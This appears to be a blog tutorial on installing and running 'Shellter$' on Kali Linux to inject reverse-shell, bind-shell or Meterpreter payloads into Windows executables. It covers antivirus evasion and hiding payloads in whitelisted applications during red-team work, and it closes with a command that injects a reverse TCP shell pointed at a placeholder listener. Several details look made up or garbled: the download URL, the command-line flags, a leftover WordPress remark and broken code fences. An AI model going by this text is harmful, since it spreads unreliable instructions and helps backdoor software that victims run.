# Shellter$ – Advanced Malware Analysis and Penetration Testing
## Installation and Configuration on Kali Linux
### Prerequisites
Before we dive into the installation of Shellter$, ensure that your Kali Linux system is updated to the latest version. Open a terminal and execute the following commands:
"`bash
sudo apt update && sudo apt upgrade -y
"`
### Installing Shellter$
Shellter$ is not included in the default Kali repositories, so you will need to download it manually. Follow these steps:
1. **Download Shellter$**: Navigate to the official Shellter$ website to obtain the latest version.
wget https://www.kali.org/tools/shellter/download/shellter-latest.zip
2. **Unzip the downloaded file**:
unzip shellter-latest.zip
3. **Navigate to the Shellter$ directory**:
cd shellter
4. **Make Shellter$ executable**:
chmod +x shellter
### Dependencies
Shellter$ requires some dependencies, including Wine, to run Windows executables. You can install Wine using:
"`bash
sudo apt install wine -y
"`
### Configuration
Configuration of Shellter$ involves adjusting settings appropriate for your environment. Create a configuration file if one is not included by default:
1. **Create a configuration file**:
nano shellter.conf
2. **Add the following configuration options**:
[/dm_code_snippet]conf
output_directory=/home/user/shellter_output
enable_logging=true
[/dm_code_snippet]
Replace `/home/user/shellter_output` with your desired output directory.
3. **Save and exit**: Press `CTRL + X`, then `Y`, and `Enter`.
Now you’re ready to start using Shellter$.
## Step-by-Step Usage
Shellter$ allows security professionals to modify binaries to include payloads for testing purposes, particularly useful in penetration testing scenarios. Here’s how you can use it:
### Basic Usage
1. **Launch Shellter$**:
./shellter
This will present you with the main menu.
2. **Select the option to generate a payload**. You will be prompted to select a file.
3. **Choose a Windows executable** you wish to modify. This is commonly a `.exe` file. For example, let's say we have an executable named `target.exe`:
Select the executable: target.exe
4. **Choose the type of payload** you want to inject. Shellter$ provides several options, including:
– Reverse TCP Shell
– Bind TCP Shell
– Meterpreter
For instance, if you choose the Reverse TCP Shell, you will need to specify your attacker’s listener IP and port.
5. **Follow the prompts** to complete the modification process. Shellter$ will perform various checks and adjustments to embed the payload into the selected executable.
6. **Output the modified executable**: Once the process is complete, you will find your modified executable in the output directory specified in your configuration file.
### Real-World Use Cases
#### 1. Testing Defenses Against Malware
In a controlled environment, you can deliver the modified executable to a target system to evaluate antivirus detection capabilities. The primary goal is to observe how well defenses such as endpoint protection or intrusion detection systems perform under the simulated threat.
#### 2. Red Team Engagements
During a red team engagement, utilizing Shellter$ can aid in bypassing traditional defenses. You could inject a payload into a legitimate application to avoid detection during exploit delivery.
#### Example Scenario
Suppose you target a client’s internal network, where you know certain applications are whitelisted. By embedding a payload inside one of these applications using Shellter$, you increase the potential for success when delivering your attack vector.
### Detailed Technical Explanations
Shellter$ operates primarily by modifying the structure of an executable to embed malicious payloads while maintaining the original file’s integrity. This process includes:
– **PeHeader Manipulation**: PeHeader, which is part of the Portable Executable format on Windows, may contain size and offset information that Shellter$ modifies to accommodate the payload.
– **Code Injection**: This technique involves adding new code into the executable, which will execute when the program runs.
– **Stealth Techniques**: Using various coding techniques, Shellter$ can help evade detection systems by altering how the payload behaves and appears in memory.
For a deeper understanding of these techniques, consider referring to:
– [Advanced Windows Exploitation](https://www.offensive-security.com/) – Book for in-depth knowledge of Windows exploitation.
– [Windows Internals](https://docs.microsoft.com/en-us/sysinternals/) – Great resource for understanding Windows architecture.
### Code Examples
Here’s how you might structure a simple Shellter$ command as part of a larger WordPress entry:

## Sample Shellter$ Command
To inject a reverse TCP shell payload into `target.exe`, use the following command:
"`bash
./shellter -p target.exe -o modified_target.exe –payload reverse_tcp –listener YOUR_IP:YOUR_PORT
"`
"`
Replace `YOUR_IP` and `YOUR_PORT` with your listener's actual values.
